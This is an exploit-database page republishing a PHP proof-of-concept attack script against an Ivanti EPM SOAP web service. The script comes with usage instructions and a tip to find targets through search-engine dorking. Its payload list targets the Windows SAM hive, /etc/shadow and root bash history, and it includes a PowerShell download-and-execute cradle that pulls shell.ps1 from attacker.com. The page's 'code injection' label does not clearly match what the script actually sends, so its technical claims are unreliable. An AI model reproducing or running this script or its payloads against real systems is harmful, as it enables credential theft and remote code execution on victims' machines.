Lucene search
K

Ivanti EPM 1.0 Code Execution

🗓️ 28 Feb 2025 00:00:00Reported by indoushkaType 
packetstorm
 packetstorm
🔗 packetstorm.news👁 275 Views

Ivanti EPM v1.0 PHP code injection allows remote command execution via vulnerable SOAP web service.

Code
=============================================================================================================================================
    | # Title     : Ivanti EPM v1.0 PHP Code Injection Vulnerability                                                                            |
    | # Author    : indoushka                                                                                                                   |
    | # Tested on : windows 10 Fr(Pro) / browser : Mozilla firefox 135.0.1 (64 bits)                                                            |
    | # Vendor    : https://forums.ivanti.com/s/article/Security-Advisory-EPM-January-2025-for-EPM-2024-and-EPM-2022-SU6?language=en_US         |
    =============================================================================================================================================
    
    POC :
    
    [+] Dorking İn Google Or Other Search Enggine.
    
    [+] This code contains : exploit a vulnerable web service that processes requests via SOAP. to RCE command execution vulnerabilities. 
     
    [+] save code as poc.php .
    
    [+] USage : cmd => c:\www\test\php poc.php -u <URL> -t <TARGET> -p <PAYLOAD_TYPE>\nAvailable payloads: default, sam, secret, powershell, linux_passwd, linux_shadow, linux_bash_history
    
    [+] Change the target link of the two lines = 9 + 27
    
    [+] PayLoad :
    
    <?php
    
    function exploit($url, $relay_target, $payload_type) {
        $payloads = [
            "default" => "\\$relay_target\\tmp\\file1.txt",
            "sam" => "\\$relay_target\\C$\\Windows\\System32\\config\\SAM",
            "secret" => "\\$relay_target\\C$\\Users\\Public\\secret.txt",
            "powershell" => "powershell.exe -Command \"IEX(New-Object Net.WebClient).DownloadString('http://attacker.com/shell.ps1')\"",
            "linux_passwd" => "/etc/passwd",
            "linux_shadow" => "/etc/shadow",
            "linux_bash_history" => "/root/.bash_history"
        ];
        
        $wildcard = $payloads[$payload_type] ?? $payloads["default"];
        
        $xml_payload = <<<XML
    <?xml version="1.0" encoding="utf-8"?>
    <soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/">
        <soap:Body>
            <GetHashForWildcardRecursive xmlns="http://tempuri.org/">
                <wildcard>$wildcard</wildcard> 
            </GetHashForWildcardRecursive>
        </soap:Body>
    </soap:Envelope>
    XML;
        
        $headers = [
            "Content-Type: text/xml",
            "Soapaction: http://tempuri.org/GetHashForWildcardRecursive"
        ];
        
        $ch = curl_init();
        curl_setopt($ch, CURLOPT_URL, "$url/WSVulnerabilityCore/VulCore.asmx");
        curl_setopt($ch, CURLOPT_POST, true);
        curl_setopt($ch, CURLOPT_POSTFIELDS, $xml_payload);
        curl_setopt($ch, CURLOPT_HTTPHEADER, $headers);
        curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
        curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
        curl_setopt($ch, CURLOPT_TIMEOUT, 30);
        
        $response = curl_exec($ch);
        $http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
        curl_close($ch);
        
        echo $response . "\n";
        echo "HTTP Status Code: " . $http_code . "\n";
    }
    
    $options = getopt("u:t:p:", ["url:", "target:", "payload:"]);
    if (!isset($options['u']) || !isset($options['t'])) {
        die("Usage: php script.php -u <URL> -t <TARGET> -p <PAYLOAD_TYPE>\nAvailable payloads: default, sam, secret, powershell, linux_passwd, linux_shadow, linux_bash_history\n");
    }
    
    $payload_type = $options['p'] ?? "default";
    exploit($options['u'], $options['t'], $payload_type);
    
    Greetings to :=====================================================================================
    jericho * Larry W. Cashdollar * LiquidWorm * Hussin-X * D4NB4R * Malvuln (John Page aka hyp3rlinx)|
    ===================================================================================================

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

28 Feb 2025 00:00Current
7.9High risk
Vulners AI Score7.9
275